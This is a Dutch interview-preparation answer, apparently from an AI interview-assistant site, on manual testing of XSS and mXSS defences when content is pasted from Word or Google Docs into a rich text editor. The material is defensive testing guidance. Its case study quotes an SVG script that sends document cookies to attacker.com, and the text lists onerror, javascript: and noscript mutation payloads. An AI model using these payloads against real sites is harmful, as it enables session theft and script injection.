Handmatige testen (IT)Manual QA Engineer

Ontwerp een uitgebreide manual testing-methodologie om de **XSS**-preventie en structurele integriteit te valideren wanneer gebruikers inhoud uit **Microsoft Word** en **Google Docs** in een browsergebaseerde rich text-editor plakken, met specifieke focus op **SVG**-gebaseerde scriptinjectie en **mXSS**-vectoren die zich muteren tijdens het parseren door de browser?

Slaag voor sollicitatiegesprekken met de Hintsage AI-assistent

Antwoord op de vraag

Geschiedenis: Rich text editors (RTEs) zijn alomtegenwoordig in contentmanagementsystemen, maar ze vormen een kritieke aanvalsoppervlakte. Wanneer gebruikers inhoud kopiëren uit Microsoft Word of Google Docs, bevat het klembord rijke HTML met eigen metadata, inline stijlen en mogelijk kwaadaardige payloads verborgen in SVG-tags of CSS-expressies. Het kernprobleem is dat naïeve sanering zichtbare opmaak kan verwijderen terwijl uitvoerbare scripts worden gemist, of omgekeerd, te veel saneren en legitieme semantische structuren zoals complexe tabellen vernietigen. Een systematische manual testing-methodologie moet zowel de veiligheid (geen XSS) als de trouw (behouden structuur) verifiëren.

Oplossing: Implementeer een drie-fasen klembord-aanvalsprotocol:

  1. Vector Voorbereiding: Curateer een bibliotheek van plakpayloads inclusief SVG met ingebedde <foreignObject> containing scripts, CSS behavior: url(#default#VML) voor legacy IE, HTML entity-gecodeerde javascript:-protocols, en verkeerd gevormde HTML5-tags ontworpen om quirks van de browserparser te exploiteren (bijv., <noscript><img src=x onerror=alert(1)></noscript>).

  2. Cross-Engine Plak Simulatie: Voer daadwerkelijke kopieer-plakoperaties uit (niet typen) vanuit Word (met bijgehouden wijzigingen, opmerkingen en ingevoegde Excel-objecten), Google Docs (met voorgestelde wijzigingen en ingevoegde tekeningen), en ruwe HTML gekopieerd vanuit Browser DevTools. Test afzonderlijk in Chrome, Safari, Firefox, en Edge, aangezien elk verschillend omgaat met klembord MIME-types (text/html vs application/rtf).

  3. Statusverificatie: Inspecteer na plakken de DOM via DevTools om te bevestigen dat on* event handlers, javascript:-URLs, en <script>-tags afwezig zijn, terwijl semantische elementen (<thead>, <colgroup>, geneste lijsten) intact blijven. Sla de inhoud daarna op, herlaad de pagina en controleer de geserialiseerde HTML opnieuw om mutatie XSS te detecteren waarbij de browserparser scripts herstelt tijdens het opnieuw renderen.

Situatie uit het leven

Probleem: Een legal tech startup ontwikkelde een contractbeoordelingsapplicatie met TinyMCE waar advocaten clausules uit Microsoft Word plakken. Tijdens een beveiligingsaudit bleek dat contracten met vendor-logo's (in SVG-formaat) willekeurige JavaScript uitvoerden wanneer ze in het dashboard van de beoordelaar werden bekeken. De SVG-bestanden bevatten <script>fetch('https://attacker.com?cookie='+document.cookie)</script> binnen <foreignObject>-tags. De editor toonde ze als onschadelijke afbeeldingen, maar de ruwe HTML die in de PostgreSQL-database was opgeslagen, werd uitgevoerd in de alleen-lezen weergave die dangerouslySetInnerHTML in React gebruikte zonder secundaire sanering.

Overwogen oplossingen:

Oplossing A: Neem alle HTML weg en zet het om in platte tekst. Voordelen: Absolute beveiligingsgarantie; geen XSS mogelijk. Nadelen: Advocaten verloren belangrijke opmaak zoals inspringing voor contractsubclausules, gekleurde markeringen voor risicobeoordeling en tabelstructuren voor tarieven. Dit maakte de applicatie onbruikbaar voor juridische workflows, wat leidde tot onmiddellijke afwijzing door gebruikers.

Oplossing B: Vertrouw volledig op client-side DOMPurify met een ruime configuratie. Voordelen: Behoudt gebruikerservaring en opmaak; gemakkelijk te implementeren. Nadelen: Client-side sanering kan worden omzeild door direct de REST API aan te roepen met kwaadaardige payloads, waardoor de editor volledig wordt omzeild. Bovendien staan de standaardinstellingen van DOMPurify SVG-tags en data-attributen toe die in specifieke versies van Android WebView worden uitgevoerd.

Oplossing C: Implementeer verdediging-in-diepte met agressieve client-side schoonmaak voor onmiddellijke feedback, gecombineerd met server-side sanering met de OWASP Java HTML Sanitizer met een strikte beleidsregels die alleen structurele tags toestaan. Voordelen: Vangt omzeilpogingen op het API-niveau; staat noodzakelijke juridische opmaak toe terwijl scripts worden geneutraliseerd. Nadelen: Vereist onderhoud van twee beleidsconfiguraties (frontend en backend); risico op prestatieverlies bij het verwerken van contracten van meer dan 100 pagina's; potentieel voor "toestemmingsdialogen" als beleidsregels niet overeenkomen.

Gekozen oplossing: We hebben Oplossing C geselecteerd en een handmatige QA-controlepunt toegevoegd specifiek voor plakoperaties. Het QA-team creëerde een "Kwaadaardige Klem Suite" met meer dan 75 CSP-omzeilvectoren, inclusief SVG-animaties en MathML-containers. Ze ontdekten dat DOMPurify's ALLOWED_URI_REGEXP javascript:-URLs geaccepteerd die gecodeerd waren met HTML-entiteiten. Ze configureerden de sanitizer om alle SVG tot statische <img>-tags met Base64-codering te flatten, waarbij alle interactieve elementen werden verwijderd.

Resultaat: De kwetsbaarheid werd verholpen vóór de productie-release. De methodologie ving twee extra mXSS-vectoren op die betrokken waren bij HTML-comments die in uitvoerbare scripts in Safari's leermodus muteren. Het juridische team behield volledige opmaakcapaciteiten, en latere penetratietests vonden geen injectievectoren in de plakpijplijn.

Wat kandidaten vaak missen

Hoe detecteer je mutatie XSS (mXSS) waar de parser van de browser de gesaniteerd string wijzigt na invoer, waardoor uitvoerbare scripts weer worden aangemaakt?

Veel kandidaten inspecteren de HTML onmiddellijk na het plakken met behulp van de "source view" van de editor of DevTools. Echter, mXSS-exploits vinden plaats wanneer de gesaniteerd string aan innerHTML wordt toegewezen, de browser deze parsont, en de resulterende DOM verschilt van de oorspronkelijke string als gevolg van parsernormalisatie (bijv., <noscript><img title="--><script>... mutaties). De juiste benadering is om een round-trip test uit te voeren: serialiseer de DOM terug naar een string met element.innerHTML na invoer, vergelijk deze vervolgens met de verwachte gesaniteerde output. Als er nieuwe <script>-tags of event handlers verschijnen na deze serialisatie, is de sanitizer kwetsbaar. Test ook specifiek in IE11 als dat wordt ondersteund, aangezien het parsergedrag voor verkeerd gevormde tabellen aanzienlijk verschilt van Blink of Gecko.

Waarom kan de inhoud veilig en correct worden geplakt in de editor, maar falen in de beveiligingsvalidatie wanneer dezelfde inhoud later wordt geladen in een alleen-lezen React-weergave via dangerouslySetInnerHTML?

Kandidaten missen vaak "contextuele saneringsverschuiving." Rich text editors saneren voor de bewerkingscontext, maar de weergavecontext kan verschillende React-versies, Content Security Policy-headers of extra JavaScript-bibliotheken gebruiken die de inhoud opnieuw parseren. Het antwoord is dat je de opgeslagen inhoud door de volledige levenscyclus moet verifiëren: plakken → opslaan naar API → ophalen van API → weergeven in alleen-lezen weergave. Controleer specifiek op dubbele codering-problemen waarbij &lt; &amp;lt; wordt tijdens databaseopslag, of Unicode-normalisatie-verschillen tussen de UTF-8-verwerking van de editor en de collation van de database. Test met payloads die slimme aanhalingstekens (gekrulde aanhalingstekens) en em-dashes bevatten, die Word automatisch vervangt, om ervoor te zorgen dat de UTF-8MB4-configuratie van de database geen multibyte-tekens afkappt, wat potentieel de saneringsgrenzen kan doorbreken en scriptinjectie kan toestaan.

Hoe zou je handmatig de saneringsgedrag valideren wanneer de applicatie een Markdown-gebaseerde editor (zoals CKEditor 5 met Markdown-output) gebruikt in plaats van ruwe HTML-opslag?

Dit test het begrip van formatconversierisico's. Wanneer editors HTML naar Markdown omzetten (bijv., via Turndown), kunnen kwaadaardige payloads verborgen zijn in HTML-attributen die geen Markdown-equivalent hebben, mogelijk incompleet worden verwijderd of omgezet in linkverwijzingen die worden uitgevoerd bij klikken. De juiste methodologie omvat: (1) De kwaadaardige HTML in de editor plakken, (2) Overschakelen naar de Markdown-source view om te verifiëren dat gevaarlijke attributen verdwenen zijn (niet alleen visueel verborgen), (3) Terug omzetten naar HTML (indien ondersteund) om ervoor te zorgen dat de round-trip geen scripts herstelt, en (4) Controleren dat de Markdown-linksyntax [text](javascript:alert(1)) expliciet wordt geblokkeerd door de linkvalidatieregex van de parser, niet alleen door de renderer. Bovendien controleren dat HTML-comments <!-- --> (die Markdown-parsers kunnen breken) worden verwijderd om te voorkomen dat gevoelige server-side gegevens uitlekken.